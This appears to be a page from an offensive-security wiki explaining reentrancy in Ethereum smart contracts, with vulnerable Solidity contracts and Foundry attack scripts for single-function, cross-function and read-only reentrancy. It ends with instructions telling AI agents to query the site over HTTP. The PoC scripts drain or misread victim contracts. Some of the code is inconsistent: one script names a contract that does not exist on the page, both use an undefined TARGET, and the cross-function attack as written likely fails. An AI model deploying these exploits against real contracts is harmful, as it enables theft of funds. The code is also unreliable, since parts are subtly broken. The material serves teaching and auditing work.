# Reentrancy

## Theory

Reentrancy is one of the most well-known and impactful vulnerabilities in Ethereum smart contracts. It occurs when a contract **performs an external call before updating its state.** This allows the external contract, possibly malicious, to reenter the original function and repeat certain actions, like withdrawals, using the same state. Through such attacks, an attacker can possibly drain all the funds from a contract.

If a smart contract function:

* modifies balances after sending ETH,
* changes storage after calling an external contract,
* depends on invariants that must hold during execution,

then an attacker can exploit this state inconsistency to drain funds, bypass access checks, or repeatedly trigger logic.

#### **How Reentrancy Works at the EVM Level**

1. Contract A executes a function (e.g., `withdraw()`).
2. Before updating its state, it performs a `CALL` to an attacker contract.
3. The attacker contract’s fallback or receive function is triggered.
4. The attacker calls back into A — **re-entering** — while A's state has not yet been updated.
5. The victim contract is tricked into repeating a sensitive operation (usually transferring funds).

<div align="center"><figure><img src="/files/VNWa6Qk3TGQ1jvQyGbz7" alt=""><figcaption></figcaption></figure></div>

## Practice

{% hint style="danger" %}
Reentrancy does not only affect simple Ether withdrawals. It applies to **any external call**, including:

* `call()`, `delegatecall()`, `callcode()`
* ERC777: `tokensReceived`,
* ERC721: `onERC721Received`, `safeTransferFrom`, `_safeMint`
* ERC1155 `onERC1155Received`, `safeTransferFrom`, `_mint`, `safeBatchTransferFrom`, `_mintBatch`
* And other specified here

We may use the tool [slither](https://blog.trailofbits.com/2019/05/27/slither-the-leading-static-analyzer-for-smart-contracts/) to automatically detect external function calls.
{% endhint %}

{% tabs %}
{% tab title="Single-function" %}
**Single-function Reentrancy**

Single-function reentrancy is the simplest and most direct form of the vulnerability. The attacker simply needs an entry point that:

* performs a state-changing action,
* but performs an external call *before* the state update,
* and uses the affected state variable again upon re-entry.

Below is a minimal example. The contract **reads a state variable, performs an external call, and only then updates the state**, allowing the attacker to re-trigger the same logic multiple times.

```solidity
contract Vault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        // Vulnerable: sending ETH before updating state
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");

        // too late
        balances[msg.sender] = 0;
    }
}
```

Running the below foundry script will drains the vault by performing a reentrant withdrawal.

```solidity
// foundry script: PoC_SingleReentrancy.s.sol
pragma solidity ^0.8.20;
import "forge-std/Script.sol";

contract Attack {
    SimpleBank target;
    constructor(address _target) {
        target = SimpleBank(_target);
    }

    // fallback gets triggered during the victim's external call
    fallback() external payable {
        // re-enter only while there is still money to steal
        if (address(target).balance >= 1 ether) {
            target.withdraw();
        }
    }

    function attack() external payable {
        target.deposit{value: msg.value}();
        target.withdraw();
    }
}

contract PoC_SingleReentrancy is Script {
    function run() external {
        vm.startBroadcast();

        Attack attacker = new Attack(TARGET);
        attacker.attack{value: 1 ether}();

        vm.stopBroadcast();
    }
}
```

{% endtab %}

{% tab title="Cross-Function" %}
**Cross-Function Reentrancy**

Cross-function reentrancy happens when a vulnerable external call in one function allows an attacker to re-enter **a different function** that updates or depends on the **same storage variables**.\
The attacker does not re-enter the original function, but instead uses another entry point that manipulates the same state while it is still inconsistent.

In the following example, the `transfer()` function performs an external call before updating balances. The attacker re-enters the contract through the `withdraw()` function, which reads and modifies the same `balances` mapping. The vulnerability is not limited to transferring or withdrawing funds; what matters is the shared state and the unsafe sequencing of operations.

```solidity
contract CrossBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // Vulnerable function
    function transfer(address to, uint256 amount) external {
        require(balances[msg.sender] >= amount);

        // ❌ External call before effects
        (bool ok,) = to.call("");
        require(ok);

        // State update happens too late
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }

    // Secondary entry point touching the same storage
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0);

        // critical state read before update
        balances[msg.sender] = 0;

        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok);
    }
}
```

Here, the attacker does **not** re-enter `transfer()`.\
Instead, the external call inside `transfer()` triggers the fallback of the attacker contract. The attacker then re-enters through `withdraw()`, which operates on the same `balances` mapping. Since the state has not yet been updated in the initial call, the attacker can exploit the stale values to extract funds or apply state changes multiple times.

```solidity
// PoC_CrossFunctionReentrancy.s.sol
pragma solidity ^0.8.20;

import "forge-std/Script.sol";

interface ICrossBank {
    function deposit() external payable;
    function transfer(address to, uint256 amount) external;
    function withdraw() external;
}

contract Attack {
    ICrossBank target;

    constructor(address _target) {
        target = ICrossBank(_target);
    }

    fallback() external payable {
        // During the transfer(), re-enter through withdraw()
        if (address(target).balance >= 1 ether) {
            target.withdraw();
        }
    }

    function attack() external payable {
        // Prime the balance
        target.deposit{value: msg.value}();

        // Trigger the vulnerable external call
        target.transfer(address(this), msg.value);
    }
}

contract PoC_CrossFunction is Script {
    function run() external {
        vm.startBroadcast();

        Attack attacker = new Attack(TARGET);
        attacker.attack{value: 1 ether}();

        vm.stopBroadcast();
    }
}
```

{% endtab %}

{% tab title="Read-Only" %}
**Read-Only Reentrancy**

**Read-only reentrancy (**&#x61;lso known as **Cross-Contract Reentrancy**) occurs when a view function is called during a reentrant execution. If the contract's state is temporarily inconsistent due to an ongoing external call, the view can return inaccurate data. This can mislead dependent protocols that rely on its output. Price oracles, on-chain accounting modules, liquidators, front-ends, and cross-chain bridges often read these view functions.

The example below illustrates the core pattern: the contract updates internal state *after* an external call, and a view function exposes this uncommitted state.

```solidity
contract PriceFeed {
    uint256 public price;
    address public oracle;

    constructor(address _oracle) {
        oracle = _oracle;
        price = 1000;
    }

    function updatePrice(uint256 newPrice) external {
        require(msg.sender == oracle);

        // external call before updating state
        OracleCallback(msg.sender).onUpdate();  

        // state is updated too late
        price = newPrice;
    }

    // view function vulnerable to reentrant reads
    function getPrice() external view returns (uint256) {
        return price;
    }
}

interface OracleCallback {
    function onUpdate() external;
}
```

In the below exploit, `observedPrice` stores the old value (e.g., `1000`), even though the intended new price is `7777`. An external protocol relying on `getPrice()` during this window would act on stale information.

```solidity
// PoC_ReadOnlyReentrancy.s.sol
pragma solidity ^0.8.20;

import "forge-std/Script.sol";
import "forge-std/console.sol";

interface IPriceFeed {
    function updatePrice(uint256 newPrice) external;
    function getPrice() external view returns (uint256);
}

contract MaliciousOracle {
    IPriceFeed target;
    uint256 public observedPrice;

    constructor(address _target) {
        target = IPriceFeed(_target);
    }

    // reentered during updatePrice()
    function onUpdate() external {
        // read the price while the state is inconsistent
        observedPrice = target.getPrice();
    }

    function triggerUpdate(uint256 newPrice) external {
        target.updatePrice(newPrice);
    }
}

contract PoC_ReadOnlyReentrancy is Script {
    function run() external {
        vm.startBroadcast();

        // Deploy or reference an existing PriceFeed
        MaliciousOracle oracle = new MaliciousOracle(TARGET_PRICE_FEED);

        // Trigger the vulnerable update
        oracle.triggerUpdate(7777);

        console.log("Observed stale price during reentrancy:", oracle.observedPrice);

        vm.stopBroadcast();
    }
}
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.cyfrin.io/blog/solodit-checklist-explained-8-reentrancy-attack>" %}

{% embed url="<https://rareskills.io/post/where-to-find-solidity-reentrancy-attacks#read-only-reentrancy-also-known-as-cross-contract-reentrancy>" %}

{% embed url="<https://scs.owasp.org/sctop10/SC05-Reentrancy/>" %}

{% embed url="<https://aadapt.mitre.org/techniques/ADT3012.005/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/reentrancy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
